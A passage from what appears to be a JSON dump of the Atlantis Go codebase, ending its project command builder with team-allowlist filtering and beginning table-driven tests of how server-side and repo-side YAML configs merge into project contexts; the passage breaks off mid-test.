p.GlobalCfg.DefaultProjCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), repoRelDir, workspace)\n\t\tprojCtxs = append(projCtxs,\n\t\t\tp.ProjectCommandContextBuilder.BuildProjectContext(\n\t\t\t\tctx,\n\t\t\t\tcmd,\n\t\t\t\tsubCmd,\n\t\t\t\tprojCfg,\n\t\t\t\tcommentFlags,\n\t\t\t\trepoDir,\n\t\t\t\tautomerge,\n\t\t\t\tparallelApply,\n\t\t\t\tparallelPlan,\n\t\t\t\tverbose,\n\t\t\t\tabortOnExecutionOrderFail,\n\t\t\t\tp.TerraformExecutor,\n\t\t\t)...)\n\t}\n\n\tif err := p.validateWorkspaceAllowed(repoCfgPtr, repoRelDir, workspace); err != nil {\n\t\treturn []command.ProjectContext{}, err\n\t}\n\n\t// Filter projects to only include ones the user is authorized for\n\tprojCtxs = slices.DeleteFunc(projCtxs, func(projCtx command.ProjectContext) bool {\n\t\tif projCtx.TeamAllowlistChecker == nil || !projCtx.TeamAllowlistChecker.HasRules() {\n\t\t\t// allowlist restriction is not enabled\n\t\t\treturn false\n\t\t}\n\t\tctx := models.TeamAllowlistCheckerContext{\n\t\t\tBaseRepo:           projCtx.BaseRepo,\n\t\t\tCommandName:        projCtx.CommandName.String(),\n\t\t\tEscapedCommentArgs: projCtx.EscapedCommentArgs,\n\t\t\tHeadRepo:           projCtx.HeadRepo,\n\t\t\tLog:                projCtx.Log,\n\t\t\tPull:               projCtx.Pull,\n\t\t\tProjectName:        projCtx.ProjectName,\n\t\t\tRepoDir:            repoDir,\n\t\t\tRepoRelDir:         projCtx.RepoRelDir,\n\t\t\tUser:               projCtx.User,\n\t\t\tVerbose:            projCtx.Verbose,\n\t\t\tWorkspace:          projCtx.Workspace,\n\t\t\tAPI:                false,\n\t\t}\n\t\treturn !projCtx.TeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, projCtx.User.Teams, projCtx.CommandName.String())\n\t})\n\n\treturn projCtxs, nil\n}\n\n// validateWorkspaceAllowed returns an error if repoCfg defines projects in\n// repoRelDir but none of them use workspace. We want this to be an error\n// because if users have gone to the trouble of defining projects in repoRelDir\n// then it's likely that if we're running a command for a workspace that isn't\n// defined then they probably just typed the workspace name wrong.\nfunc (p *DefaultProjectCommandBuilder) validateWorkspaceAllowed(repoCfg *valid.RepoCfg, repoRelDir string, workspace string) error {\n\tif repoCfg == nil {\n\t\treturn nil\n\t}\n\n\treturn repoCfg.ValidateWorkspaceAllowed(repoRelDir, workspace)\n}\n"
  },
  {
    "path": "server/events/project_command_builder_internal_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/config\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tvcsmocks \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics/metricstest\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// Test different permutations of global and repo config.\nfunc TestBuildProjectCmdCtx(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tstatsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), \"atlantis\")\n\temptyPolicySets := valid.PolicySets{\n\t\tVersion:    nil,\n\t\tPolicySets: []valid.PolicySet{},\n\t}\n\tbaseRepo := models.Repo{\n\t\tFullName: \"owner/repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"github.com\",\n\t\t},\n\t}\n\tpull := models.PullRequest{\n\t\tBaseRepo: baseRepo,\n\t}\n\tcases := map[string]struct {\n\t\tglobalCfg     string\n\t\trepoCfg       string\n\t\texpErr        string\n\t\texpCtx        command.ProjectContext\n\t\texpPlanSteps  []string\n\t\texpApplySteps []string\n\t}{\n\t\t// Test that if we've set global defaults and no project config\n\t\t// that the global defaults are used.\n\t\t\"global defaults\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\nworkflows:\n  default:\n    plan:\n      steps:\n      - init\n      - plan\n    apply:\n      steps:\n      - apply`,\n\t\t\trepoCfg: \"\",\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -d project1 -w myworkspace\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -d project1 -w myworkspace\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   false,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logger,\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tRePlanCmd:          \"atlantis plan -d project1 -w myworkspace -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t},\n\t\t\texpPlanSteps:  []string{\"init\", \"plan\"},\n\t\t\texpApplySteps: []string{\"apply\"},\n\t\t},\n\n\t\t// Test that if we've set global defaults, that they are used but the\n\t\t// allowed project config values also come through.\n\t\t\"global defaults with repo cfg\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\nworkflows:\n  default:\n    plan:\n      steps:\n      - init\n      - plan\n    apply:\n      steps:\n      - apply`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n  autoplan:\n    enabled: true\n    when_modified: [../modules/**/*.tf]\n  terraform_version: v10.0\n  `,\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -d project1 -w myworkspace\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -d project1 -w myworkspace\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   true,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logger,\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tRepoConfigVersion:  3,\n\t\t\t\tRePlanCmd:          \"atlantis plan -d project1 -w myworkspace -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tTerraformVersion:   mustVersion(\"10.0\"),\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t},\n\t\t\texpPlanSteps:  []string{\"init\", \"plan\"},\n\t\t\texpApplySteps: []string{\"apply\"},\n\t\t},\n\n\t\t// Set a global apply req that should be used.\n\t\t\"global requirements\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\n  plan_requirements: [approved, mergeable]\n  apply_requirements: [approved, mergeable]\n  import_requirements: [approved, mergeable]\nworkflows:\n  default:\n    plan:\n      steps:\n      - init\n      - plan\n    apply:\n      steps:\n      - apply`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n  autoplan:\n    enabled: true\n    when_modified: [../modules/**/*.tf]\n  terraform_version: v10.0\n`,\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -d project1 -w myworkspace\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -d project1 -w myworkspace\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   true,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logger,\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"\",\n\t\t\t\tPlanRequirements:   []string{\"approved\", \"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{\"approved\", \"mergeable\"},\n\t\t\t\tImportRequirements: []string{\"approved\", \"mergeable\"},\n\t\t\t\tRepoConfigVersion:  3,\n\t\t\t\tRePlanCmd:          \"atlantis plan -d project1 -w myworkspace -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tTerraformVersion:   mustVersion(\"10.0\"),\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t},\n\t\t\texpPlanSteps:  []string{\"init\", \"plan\"},\n\t\t\texpApplySteps: []string{\"apply\"},\n\t\t},\n\n\t\t// If we have global config that matches a specific repo, it should be used.\n\t\t\"specific repo\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\n- id: github.com/owner/repo\n  workflow: specific\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\nworkflows:\n  default:\n    plan:\n      steps:\n      - init\n      - plan\n    apply:\n      steps:\n      - apply\n  specific:\n    plan:\n      steps:\n      - plan\n    apply:\n      steps: []`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n  autoplan:\n    enabled: true\n    when_modified: [../modules/**/*.tf]\n  terraform_version: v10.0\n`,\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -d project1 -w myworkspace\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -d project1 -w myworkspace\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   true,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logger,\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"\",\n\t\t\t\tPlanRequirements:   []string{\"approved\"},\n\t\t\t\tApplyRequirements:  []string{\"approved\"},\n\t\t\t\tImportRequirements: []string{\"approved\"},\n\t\t\t\tRepoConfigVersion:  3,\n\t\t\t\tRePlanCmd:          \"atlantis plan -d project1 -w myworkspace -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tTerraformVersion:   mustVersion(\"10.0\"),\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t},\n\t\t\texpPlanSteps:  []string{\"plan\"},\n\t\t\texpApplySteps: []string{},\n\t\t},\n\n\t\t// We should get an error if the repo sets an apply req when its\n\t\t// not allowed.\n\t\t\"repo defines apply_requirements\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\n  apply_requirements: [approved, mergeable]\nworkflows:\n  default:\n    plan:\n      steps:\n      - init\n      - plan\n    apply:\n      steps:\n      - apply`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n  apply_requirements: []\n`,\n\t\t\texpErr: \"repo config not allowed to set 'apply_requirements' key: server-side config needs 'allowed_overrides: [apply_requirements]'\",\n\t\t},\n\n\t\t// We should get an error if a repo sets a workflow when it's not allowed.\n\t\t\"repo sets its own workflow\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\n  apply_requirements: [approved, mergeable]\nworkflows:\n  default:\n    plan:\n      steps:\n      - init\n      - plan\n    apply:\n      steps:\n      - apply`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n  workflow: default\n`,\n\t\t\texpErr: \"repo config not allowed to set 'workflow' key: server-side config needs 'allowed_overrides: [workflow]'\",\n\t\t},\n\n\t\t// We should get an error if a repo defines a workflow when it's not\n\t\t// allowed.\n\t\t\"repo defines new workflow\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\n  apply_requirements: [approved, mergeable]\nworkflows:\n  default:\n    plan:\n      steps:\n      - init\n      - plan\n    apply:\n      steps:\n      - apply`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\nworkflows:\n  new: ~\n`,\n\t\t\texpErr: \"repo config not allowed to define custom workflows: server-side config needs 'allow_custom_workflows: true'\",\n\t\t},\n\n\t\t// If the repos are allowed to set everything then their config should\n\t\t// come through.\n\t\t\"full repo permissions\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\n  apply_requirements: [approved]\n  import_requirements: [approved]\n  allowed_overrides: [apply_requirements, import_requirements, workflow]\n  allow_custom_workflows: true\nworkflows:\n  default:\n    plan:\n      steps: []\n    apply:\n      steps: []\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n  autoplan:\n    enabled: true\n    when_modified: [../modules/**/*.tf]\n  terraform_version: v10.0\n  apply_requirements: []\n  import_requirements: []\n  workflow: custom\nworkflows:\n  custom:\n    plan:\n      steps:\n      - plan\n    apply:\n      steps:\n      - apply\n`,\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -d project1 -w myworkspace\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -d project1 -w myworkspace\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   true,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logger,\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tRepoConfigVersion:  3,\n\t\t\t\tRePlanCmd:          \"atlantis plan -d project1 -w myworkspace -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tTerraformVersion:   mustVersion(\"10.0\"),\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t},\n\t\t\texpPlanSteps:  []string{\"plan\"},\n\t\t\texpApplySteps: []string{\"apply\"},\n\t\t},\n\n\t\t// Repos can choose server-side workflows.\n\t\t\"repos choose server-side workflow\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\n  allowed_overrides: [workflow]\nworkflows:\n  default:\n    plan:\n      steps: []\n    apply:\n      steps: []\n  custom:\n    plan:\n      steps: [plan]\n    apply:\n      steps: [apply]\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n  autoplan:\n    enabled: true\n    when_modified: [../modules/**/*.tf]\n  terraform_version: v10.0\n  workflow: custom\n`,\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -d project1 -w myworkspace\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -d project1 -w myworkspace\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   true,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logger,\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tRepoConfigVersion:  3,\n\t\t\t\tRePlanCmd:          \"atlantis plan -d project1 -w myworkspace -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tTerraformVersion:   mustVersion(\"10.0\"),\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t},\n\t\t\texpPlanSteps:  []string{\"plan\"},\n\t\t\texpApplySteps: []string{\"apply\"},\n\t\t},\n\n\t\t// Repo-side workflows with the same name override server-side if\n\t\t// allowed.\n\t\t\"repo-side workflow override\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: custom\n  allowed_overrides: [workflow]\n  allow_custom_workflows: true\nworkflows:\n  custom:\n    plan:\n      steps: [plan]\n    apply:\n      steps: [apply]\n`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- dir: project1\n  workspace: myworkspace\n  autoplan:\n    enabled: true\n    when_modified: [../modules/**/*.tf]\n  terraform_version: v10.0\n  workflow: custom\nworkflows:\n  custom:\n    plan:\n      steps: []\n    apply:\n      steps: []\n`,\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -d project1 -w myworkspace\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -d project1 -w myworkspace\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   true,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logger,\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"\",\n\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\tImportRequirements: []string{},\n\t\t\t\tRepoConfigVersion:  3,\n\t\t\t\tRePlanCmd:          \"atlantis plan -d project1 -w myworkspace -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tTerraformVersion:   mustVersion(\"10.0\"),\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t},\n\t\t\texpPlanSteps:  []string{},\n\t\t\texpApplySteps: []string{},\n\t\t},\n\t\t// Test that if we leave keys undefined, that they don't override.\n\t\t\"cascading matches\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n- id: github.com/owner/repo\n  workflow: custom\nworkflows:\n  custom:\n    plan:\n      steps: [plan]\n`,\n\t\t\trepoCfg: `\nversion: 3\nprojects:\n- dir: project1\n  workspace: myworkspace\n`,\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -d project1 -w myworkspace\",\n\t\t\t\tApprovePoliciesCmd: \"atlantis approve_policies -d project1 -w myworkspace\",\n\t\t\t\tBaseRepo:           baseRepo,\n\t\t\t\tEscapedCommentArgs: []string{`\\f\\l\\a\\g`},\n\t\t\t\tAutomergeEnabled:   false,\n\t\t\t\tAutoplanEnabled:    true,\n\t\t\t\tHeadRepo:           models.Repo{},\n\t\t\t\tLog:                logger,\n\t\t\t\tScope:              statsScope,\n\t\t\t\tPullReqStatus: models.PullReqStatus{\n\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t},\n\t\t\t\tPull:               pull,\n\t\t\t\tProjectName:        \"\",\n\t\t\t\tPlanRequirements:   []string{\"approved\"},\n\t\t\t\tApplyRequirements:  []string{\"approved\"},\n\t\t\t\tImportRequirements: []string{\"approved\"},\n\t\t\t\tRepoConfigVersion:  3,\n\t\t\t\tRePlanCmd:          \"atlantis plan -d project1 -w myworkspace -- flag\",\n\t\t\t\tRepoRelDir:         \"project1\",\n\t\t\t\tUser:               models.User{},\n\t\t\t\tVerbose:            true,\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocksMode:      valid.DefaultRepoLocksMode,\n\t\t\t},\n\t\t\texpPlanSteps:  []string{\"plan\"},\n\t\t\texpApplySteps: []string{\"apply\"},\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\ttmp := DirStructure(t, map[string]any{\n\t\t\t\t\"project1\": map[string]any{\n\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t},\n\t\t\t\t\"modules\": map[string]any{\n\t\t\t\t\t\"module\": map[string]any{\n\t\t\t\t\t\t\"main.tf\": nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t})\n\n\t\t\tworkingDir := NewMockWorkingDir()\n\t\t\tWhen(workingDir.Clone(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](),\n\t\t\t\tAny[string]())).ThenReturn(tmp, nil)\n\t\t\tvcsClient := vcsmocks.NewMockClient()\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](),\n\t\t\t\tAny[models.PullRequest]())).ThenReturn([]string{\"modules/module/main.tf\"}, nil)\n\n\t\t\t// Write and parse the global config file.\n\t\t\tglobalCfgPath := filepath.Join(tmp, \"global.yaml\")\n\t\t\tOk(t, os.WriteFile(globalCfgPath, []byte(c.globalCfg), 0600))\n\t\t\tparser := &config.ParserValidator{}\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\t\t\tglobalCfg, err := parser.ParseGlobalCfg(globalCfgPath, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\t\t\tOk(t, err)\n\n\t\t\tif c.repoCfg != \"\" {\n\t\t\t\tOk(t, os.WriteFile(filepath.Join(tmp, \"atlantis.yaml\"), []byte(c.repoCfg), 0600))\n\t\t\t}\n\n\t\t\tterraformClient := tfclientmocks.NewMockClient()\n\n\t\t\tbuilder := NewProjectCommandBuilder(\n\t\t\t\tfalse,\n\t\t\t\tparser,\n\t\t\t\t&DefaultProjectFinder{},\n\t\t\t\tvcsClient,\n\t\t\t\tworkingDir,\n\t\t\t\tNewDefaultWorkingDirLocker(),\n\t\t\t\tglobalCfg,\n\t\t\t\t&DefaultPendingPlanFinder{},\n\t\t\t\t&CommentParser{ExecutableName: \"atlantis\"},\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\t\"\",\n\t\t\t\t\"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl\",\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\tfalse,\n\t\t\t\t\"auto\",\n\t\t\t\tstatsScope,\n\t\t\t\tterraformClient,\n\t\t\t)\n\n\t\t\t// We run a test for each type of command.\n\t\t\tfor _, cmd := range []command.Name{command.Plan, command.Apply} {\n\t\t\t\tt.Run(cmd.String(), func(t *testing.T) {\n\t\t\t\t\tctxs, err := builder.buildProjectCommandCtx(&command.Context{\n\t\t\t\t\t\tLog:   logger,\n\t\t\t\t\t\tScope: statsScope,\n\t\t\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\t\t\tBaseRepo: baseRepo,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPullRequestStatus: models.PullReqStatus{\n\t\t\t\t\t\t\tMergeableStatus: models.MergeableStatus{IsMergeable: true},\n\t\t\t\t\t\t},\n\t\t\t\t\t}, cmd, \"\", \"\", []string{\"flag\"}, tmp, \"project1\", \"myworkspace\", true)\n\n\t\t\t\t\tif c.expErr != \"\" {\n\t\t\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tOk(t, err)\n\t\t\t\t\tctx := ctxs[0]\n\n\t\t\t\t\t// Construct expected steps.\n\t\t\t\t\tvar stepNames []string\n\t\t\t\t\tswitch cmd {\n\t\t\t\t\tcase command.Plan:\n\t\t\t\t\t\tstepNames = c.expPlanSteps\n\t\t\t\t\tcase command.Apply:\n\t\t\t\t\t\tstepNames = c.expApplySteps\n\t\t\t\t\t}\n\t\t\t\t\tvar expSteps []valid.Step\n\t\t\t\t\tfor _, stepName := range stepNames {\n\t\t\t\t\t\texpSteps = append(expSteps, valid.Step{\n\t\t\t\t\t\t\tStepName: stepName,\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\n\t\t\t\t\tc.expCtx.CommandName = cmd\n\t\t\t\t\t// Init fields we couldn't in our cases map.\n\t\t\t\t\tc.expCtx.Steps = expSteps\n\t\t\t\t\tctx.PolicySets = emptyPolicySets\n\n\t\t\t\t\t// Job ID cannot be compared since its generated at random\n\t\t\t\t\tctx.JobID = \"\"\n\n\t\t\t\t\tEquals(t, c.expCtx, ctx)\n\t\t\t\t\t// Equals() doesn't compare TF version properly so have to\n\t\t\t\t\t// use .String().\n\t\t\t\t\tif c.expCtx.TerraformVersion != nil {\n\t\t\t\t\t\tEquals(t, c.expCtx.TerraformVersion.String(), ctx.TerraformVersion.String())\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestBuildProjectCmdCtx_WithRegExpCmdEnabled(t *testing.T) {\n\tstatsScope := metricstest.NewLoggingScope(t, logging.NewNoopLogger(t), \"atlantis\")\n\temptyPolicySets := valid.PolicySets{\n\t\tVersion:    nil,\n\t\tPolicySets: []valid.PolicySet{},\n\t}\n\tbaseRepo := models.Repo{\n\t\tFullName: \"owner/repo\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"github.com\",\n\t\t},\n\t}\n\tpull := models.PullRequest{\n\t\tBaseRepo: baseRepo,\n\t}\n\tcases := map[string]struct {\n\t\tglobalCfg     string\n\t\trepoCfg       string\n\t\texpErr        string\n\t\texpCtx        command.ProjectContext\n\t\texpPlanSteps  []string\n\t\texpApplySteps []string\n\t}{\n\n\t\t// Test that if we've set global defaults, that they are used but the\n\t\t// allowed project config values also come through.\n\t\t\"global defaults with repo cfg\": {\n\t\t\tglobalCfg: `\nrepos:\n- id: /.*/\n  workflow: default\nworkflows:\n  default:\n    plan:\n      steps:\n      - init\n      - plan\n    apply:\n      steps:\n      - apply`,\n\t\t\trepoCfg: `\nversion: 3\nautomerge: true\nprojects:\n- name: myproject_1\n  dir: project1\n  workspace: myworkspace\n  autoplan:\n    enabled: true\n    when_modified: [../modules/**/*.tf]\n  terraform_version: v10.0\n- name: myproject_2\n  dir: project2\n  workspace: myworkspace\n  autoplan:\n    enabled: true\n    when_modified: [../modules/**/*.tf]\n  terraform_version: v10.0\n- name: myproject_3\n  dir: project3\n  workspace: myworkspace\n  autoplan:\n    enabled: true\n    when_modified: [../modules/**/*.tf]\n  terraform_version: v10.0\n  `,\n\t\t\texpCtx: command.ProjectContext{\n\t\t\t\tApplyCmd:           \"atlantis apply -p 